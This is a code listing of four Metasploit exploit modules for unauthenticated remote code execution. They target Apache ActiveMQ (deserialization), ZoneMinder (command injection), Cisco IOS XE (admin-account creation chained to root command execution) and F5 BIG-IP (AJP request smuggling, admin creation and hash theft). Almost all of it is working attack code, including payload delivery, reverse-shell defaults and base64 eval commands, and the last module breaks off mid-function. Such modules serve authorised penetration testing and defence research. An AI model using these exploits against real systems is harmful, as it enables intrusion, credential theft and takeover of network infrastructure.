<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpServer<br /> include Msf::Exploit::Remote::Tcp<br /> include Msf::Exploit::Retry<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',<br /> 'Description' => %q{<br /> This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache<br /> ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to<br /> 5.16.6, and all versions before 5.15.16.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'X1r0z', # Original technical analysis & exploit<br /> 'sfewer-r7', # MSF exploit & Rapid7 analysis<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-46604'],<br /> ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'],<br /> ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'],<br /> ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'],<br /> ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt']<br /> ],<br /> 'DisclosureDate' => '2023-10-27',<br /> 'Privileged' => false,<br /> 'Platform' => %w[win linux unix],<br /> 'Arch' => [ARCH_CMD],<br /> # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the<br /> # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will<br /> # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.<br /> 'Stance' => Stance::Aggressive,<br /> 'Targets' => [<br /> [<br /> 'Windows',<br /> {<br /> 'Platform' => 'win'<br /> }<br /> ],<br /> [<br /> 'Linux',<br /> {<br /> 'Platform' => 'linux'<br /> }<br /> ],<br /> [<br /> 'Unix',<br /> {<br /> 'Platform' => 'unix'<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> # By default ActiveMQ listens for OpenWire requests on TCP port 61616.<br /> 'RPORT' => 61616,<br /> # The maximum time in seconds to wait for a session.<br /> 'WfsDelay' => 30<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> end<br /><br /> def check<br /> connect<br /><br /> res = sock.get_once<br /><br /> disconnect<br /><br /> return CheckCode::Unknown unless res<br /><br /> len, _, magic = res.unpack('NCZ*')<br /><br /> return CheckCode::Unknown unless res.length == len + 4<br /><br /> return CheckCode::Unknown unless magic == 'ActiveMQ'<br /><br /> return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/<br /><br /> version = Rex::Version.new(::Regexp.last_match(1))<br /><br /> ranges = [<br /> ['5.18.0', '5.18.2'],<br /> ['5.17.0', '5.17.5'],<br /> ['5.16.0', '5.16.6'],<br /> ['0.0.0', '5.15.15']<br /> ]<br /><br /> ranges.each do |min, max|<br /> if version.between?(Rex::Version.new(min), Rex::Version.new(max))<br /> return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")<br /> end<br /> end<br /><br /> Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")<br /> end<br /><br /> def exploit<br /> # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.<br /> if payload.encoded.include? ']]>'<br /> fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')<br /> end<br /><br /> start_service<br /><br /> connect<br /><br /> # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To<br /> # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we<br /> # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to<br /> # run an attacker supplied command line via java.lang.ProcessBuilder.start.<br /> clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext'<br /><br /> # 31 is the EXCEPTION_RESPONSE data type.<br /> data = [31].pack('C')<br /> # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.<br /> data << [0].pack('N')<br /> # and a 1 byte boolean for response required.<br /> data << [0].pack('C')<br /> # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.<br /> data << [0].pack('N')<br /> # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.<br /> data << [1].pack('C')<br /> # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.<br /> data << [1].pack('C')<br /> # First 2 bytes are the length.<br /> data << [clazz.length].pack('n')<br /> # Then the string data. This is the class name to instantiate.<br /> data << clazz<br /> # Same again for the method string. This is the single string parameter used during class instantiation.<br /> data << [1].pack('C')<br /> data << [get_uri.length].pack('n')<br /> data << get_uri<br /><br /> sock.puts([data.length].pack('N') + data)<br /><br /> retry_until_truthy(timeout: datastore['WfsDelay']) do<br /> !handler_enabled? || session_created?<br /> end<br /><br /> handler<br /> ensure<br /> cleanup<br /> end<br /><br /> def on_request_uri(cli, request)<br /> if request.uri != get_resource<br /> super<br /> end<br /><br /> case target['Platform']<br /> when 'win'<br /> shell = 'cmd.exe'<br /> flag = '/c'<br /> when 'linux', 'unix'<br /> shell = '/bin/sh'<br /> flag = '-c'<br /> end<br /><br /> xml = %(<?xml version="1.0" encoding="UTF-8"?><br /><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><br /><bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start"><br /> <constructor-arg><br /> <list><br /> <value>#{shell}</value><br /> <value>#{flag}</value><br /> <value><![CDATA[#{payload.encoded}]]></value><br /> </list><br /> </constructor-arg><br /></bean><br /></beans>)<br /><br /> send_response(cli, xml, {<br /> 'Content-Type' => 'application/xml',<br /> 'Connection' => 'close',<br /> 'Pragma' => 'no-cache'<br /> })<br /><br /> print_status('Sent ClassPathXmlApplicationContext configuration file.')<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />#<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Exploit::Remote::AutoCheck<br /> include Msf::Exploit::CmdStager<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ZoneMinder Snapshots Command Injection',<br /> 'Description' => %q{<br /> This module exploits an unauthenticated command injection<br /> in zoneminder that can be exploited by appending a command<br /> to the "create monitor ids[]"-action of the snapshot view.<br /> Affected versions: < 1.36.33, < 1.37.33<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'UnblvR', # Discovery<br /> 'whotwagner' # Metasploit Module<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2023-26035' ],<br /> [ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']<br /> ],<br /> 'Privileged' => false,<br /> 'Platform' => ['linux', 'unix'],<br /> 'Targets' => [<br /> [<br /> 'nix Command',<br /> {<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',<br /> 'FETCH_WRITABLE_DIR' => '/tmp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux (Dropper)',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X64],<br /> 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },<br /> 'Type' => :linux_dropper<br /> }<br /> ],<br /> ],<br /> 'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2023-02-24',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])<br /> ])<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'GET'<br /> )<br /> return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?<br /> return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200<br /><br /> unless res.body.include?('ZoneMinder')<br /> return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')<br /> end<br /><br /> csrf_magic = get_csrf_magic(res)<br /> # This check executes a sleep-command and checks the response-time<br /> sleep_time = rand(5..10)<br /> data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"<br /> data += "&__csrf_magic=#{csrf_magic}" if csrf_magic<br /> res, elapsed_time = Rex::Stopwatch.elapsed_time do<br /> send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'POST',<br /> 'data' => data.to_s,<br /> 'keep_cookies' => true<br /> )<br /> end<br /> return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res<br /><br /> print_status("Elapsed time: #{elapsed_time} seconds.")<br /> if sleep_time < elapsed_time<br /> return Exploit::CheckCode::Vulnerable<br /> end<br /><br /> Exploit::CheckCode::Safe('Target is not vulnerable')<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> command = Rex::Text.uri_encode(cmd)<br /> print_status('Sending payload')<br /> data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"<br /> data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic<br /> send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'POST',<br /> 'data' => data.to_s<br /> )<br /> print_good('Payload sent')<br /> end<br /><br /> def exploit<br /> # get magic csrf-token<br /> print_status('Fetching CSRF Token')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'GET'<br /> )<br /><br /> if res && res.code == 200<br /> # parse token<br /> @csrf_magic = get_csrf_magic(res)<br /> unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/<br /> fail_with(Failure::UnexpectedReply, 'Unable to parse token.')<br /> end<br /> else<br /> fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')<br /> end<br /> print_good("Got Token: #{@csrf_magic}")<br /> # send payload<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager<br /> end<br /> end<br /><br /> private<br /><br /> def get_csrf_magic(res)<br /> return if res.nil?<br /><br /> res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HTTP::CiscoIosXe<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Retry<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',<br /> 'Description' => %q{<br /> This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE<br /> devices which have the Web UI exposed. An attacker can execute a payload with root privileges.<br /><br /> The vulnerable IOS XE versions are:<br /> 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,<br /> 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,<br /> 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,<br /> 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,<br /> 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,<br /> 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,<br /> 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,<br /> 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,<br /> 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,<br /> 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,<br /> 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,<br /> 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,<br /> 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,<br /> 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,<br /> 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,<br /> 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,<br /> 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,<br /> 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,<br /> 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,<br /> 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,<br /> 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,<br /> 17.11.99SW<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'sfewer-r7', # MSF Exploit<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-20198'],<br /> ['CVE', '2023-20273'],<br /> # Vendor advisories.<br /> ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],<br /> ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],<br /> # Vendor list of (205) vulnerable versions.<br /> ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],<br /> # Technical details on CVE-2023-20198.<br /> ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],<br /> ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],<br /> # Technical details on CVE-2023-20273.<br /> ['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],<br /> # Full details of a successful exploitation attempt from a honey pot.<br /> ['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],<br /> ],<br /> 'DisclosureDate' => '2023-10-16',<br /> 'Privileged' => true,<br /> 'Platform' => %w[linux unix],<br /> 'Arch' => [ARCH_CMD],<br /> 'Targets' => [<br /> [<br /> # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:<br /> # cmd/linux/http/x64/meterpreter/reverse_tcp<br /> # cmd/linux/http/x64/shell/reverse_tcp<br /> # cmd/linux/http/x86/shell/reverse_tcp<br /> 'Linux Command',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_CMD]<br /> },<br /> ],<br /> [<br /> # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:<br /> # cmd/unix/python/meterpreter/reverse_tcp<br /> # cmd/unix/reverse_bash<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => [ARCH_CMD]<br /> },<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> # We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of<br /> # 'global' should work, but exposing this as an option will allow for usage in more complex network setups.<br /> # A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to<br /> # inspect a devices configuration to see an appropriate VRF to use.<br /> OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),<br /> # We may need to try and execute a command a second time if it fails the first time. This option is the maximum<br /> # number of seconds to keep trying.<br /> OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> # First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with<br /> # the Web UI exposed (which is the vulnerable component).<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri('webui')<br /> )<br /><br /> return CheckCode::Unknown('Connection failed') unless res<br /><br /> # We look for one of two identifiers to ensure the request to /webui above returns something with Cisco in the content.<br /> if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))<br /> return CheckCode::Unknown('Web UI not detected')<br /> end<br /><br /> # By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,<br /> # so if this request succeeds, then we known the target is vulnerable.<br /> res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)<br /><br /> # If the above request failed, then the target is safe.<br /> return CheckCode::Safe unless res<br /><br /> version = 'Cisco IOS XE Software'<br /><br /> # If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable<br /> # (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format<br /> # for the version information so our regex wont work.<br /> # Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2<br /> if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/<br /> version = Regexp.last_match(1)<br /> end<br /><br /> CheckCode::Vulnerable(version)<br /> end<br /><br /> def exploit<br /> admin_username = rand_text_alpha(8)<br /> admin_password = rand_text_alpha(8)<br /><br /> # Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.<br /> unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)<br /> fail_with(Failure::UnexpectedReply, 'Failed to create admin user')<br /> end<br /><br /> begin<br /> print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'")<br /><br /> # Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...<br /><br /> # A shell script to execute the Metasploit payload. Will delete itself upon execution.<br /> bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"<br /><br /> # The location of our bootstrap script.<br /> bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"<br /><br /> # NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and<br /> # 17.8 to work as expected. Version 16.* did not work when semi colons were present in the command line.<br /><br /> # Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems<br /> # with restricted chars, and leverage openssl to decode and write the contents to disk.<br /> success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do<br /> next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", admin_username, admin_password)<br /> end<br /><br /> unless success<br /> fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file')<br /> end<br /><br /> # Make the script executable.<br /> success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do<br /> next run_os_command("chmod +x #{bootstrap_file}", admin_username, admin_password)<br /> end<br /><br /> unless success<br /> fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file')<br /> end<br /><br /> # Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by<br /> # default. The VRF allows the executed script to route its network traffic back the the framework. The map_chvrf.sh<br /> # scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.<br /> success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do<br /> next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", admin_username, admin_password)<br /> end<br /><br /> unless success<br /> fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file')<br /> end<br /> ensure<br /> print_status("Removing user '#{admin_username}'")<br /><br /> # Leverage CVE-2023-20198 to remove the admin account we previously created.<br /> unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION)<br /> print_warning('Failed to remove user')<br /> end<br /> end<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'rex/proto/apache_j_p'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Retry<br /><br /> ApacheJP = Rex::Proto::ApacheJP<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',<br /> 'Description' => %q{<br /> This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,<br /> unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new<br /> account to execute a command payload. Both the exploit and check methods automatically delete any temporary<br /> accounts that are created.<br /> },<br /> 'Author' => [<br /> 'Michael Weber', # vulnerability analysis<br /> 'Thomas Hendrickson', # vulnerability analysis<br /> 'Sandeep Singh', # nuclei template<br /> 'Spencer McIntyre' # metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-46747'],<br /> ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],<br /> ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],<br /> ['URL', 'https://my.f5.com/manage/s/article/K000137353'],<br /> ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],<br /> ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']<br /> ],<br /> 'DisclosureDate' => '2023-10-26', # Vendor advisory<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Command',<br /> {<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => ARCH_CMD<br /> }<br /> ],<br /> ],<br /> 'DefaultOptions' => {<br /> 'SSL' => true,<br /> 'RPORT' => 443,<br /> 'FETCH_WRITABLE_DIR' => '/tmp'<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [],<br /> 'SideEffects' => [<br /> IOC_IN_LOGS, # user creation events are logged<br /> CONFIG_CHANGES # a temporary user is created then deleted<br /> ]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Base path', '/'])<br /> ])<br /> end<br /><br /> def check<br /> res = create_user(role: 'Guest')<br /> return CheckCode::Unknown('No response received from target.') unless res<br /> return CheckCode::Safe('Failed to create the user.') unless res.code == 200<br /><br /> changed = update_user_password<br /> return CheckCode::Safe('Failed to set the new user\'s password.') unless changed<br /><br /> res = bigip_api_tm_get_user(username)<br /> return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'<br /><br /> CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')<br /> end<br /><br /> def exploit<br /> res = create_user(role: 'Administrator')<br /> fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200<br /><br /> changed = update_user_password<br /> fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed<br /><br /> print_good("Admin user was created successfully. Credentials: #{username} - #{password}")<br /><br /> res = bigip_api_tm_get_user('admin')<br /> if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?<br /> print_good("Retrieved the admin hash: #{hash}")<br /> report_hash('admin', hash)<br /> end<br /><br /> logged_in = retry_until_truthy(timeout: 30) do<br /> res = bigip_api_shared_login<br /> res&.code == 200<br /> end<br /> fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in<br /><br /> token = res.get_json_document.dig('token', 'token')<br /> fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?<br /><br /> print_status("Obtained login token: #{token}")<br /><br /> bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"<br /> # this may or may not timeout<br /> send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),<br /> 'headers' => {<br /> 'Content-Type' => 'application/json',<br /> 'X-F5-Auth-Token' => token<br /> },<br /> 'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json<br /> )<br /> end<br /><br /> def report_hash(user, hash)<br /> jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)<br /> service_data = {<br /> address: rhost,<br /> port: rport,<br /> service_name: 'F5 BIG-IP TMUI',<br /> protocol: 'tcp',<br /> workspace_id: myworkspace_id<br /> }<br /> credential_data = {<br /> module_fullname: fullname,<br /> origin_type: :service,<br /> private_data: hash,<br /> private_type: :nonreplayable_hash,<br /> jtr_format: jtr_format,<br /> username: user<br /> }.merge(service_data)<br /><br /> credential_core = create_credential(credential_data)<br /><br /> login_data = {<br /> core: credential_core,<br /> status: Metasploit::Model::Login::Status::UNTRIED<br /> }.merge(service_data)<br /><br /> create_credential_login(login_data)<br /> end<br /><br /> def cleanup<br /> super<br /><br /> print_status('Deleting the created user...')<br /> delete_user<br /> end<br /><br /> def username<br /> @username ||= rand_text_alpha(6..8)<br /> end<br /><br /> def password<br /> @password ||= rand_text_alphanumeric(16..20)<br /> end<br /><br /> def create_user(role:)<br /> # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html<br /> send_request_smuggled_ajp({<br /> 'handler' => '/tmui/system/user/create',<br /> 'form_page' => '/tmui/system/user/create.jsp',<br /> 'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",<br /> 'systemuser-hidden_before' => '',<br /> 'name' => username,<br /> 'name_before' => '',<br /> 'passwd' => password,<br /> 'passwd_before' => '',<br /> 'finished' => 'x',<br /> 'finished_before' => ''<br /> })<br /> end<br /><br /> def delete_user<br /> send_request_smuggled_ajp({<br /> 'handler' => '/tmui/system/user/list',<br /> 'form_page' => '/tmui/system/user/list.jsp',<br /> 'checkbox0' => username,<br /> 'checkbox0_before' => 'checked',<br /> 'delete_confirm' => 'Delete',<br /> 'delete_confirm_before' => 'Delete',<br /> 'row_count' => '1',<br /> 'row_count_before' => '1'<br /> })<br /> end<br /><br /> def update_user_password<br /> new_password = Rex::Text.rand_text_alphanumeric(password.length)<br /> changed = retry_until_truthy(timeout: 30) do<br /> res = bigip_api_shared_set_password(username, password, new_password)<br /> res&.code == 200<br /> end<br /> @password = new_password if changed<br /> changed<br /> end<br /><br /> def send_request_smuggled_ajp(query)<br /> post_data = "204\r\n" # do not change<br /><br /> timenow = rand_text_numeric(1)<br /> tmui_dubbuf = rand_text_alpha_upper(11)<br /><br /> query = query.merge({<br /> '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),<br /> 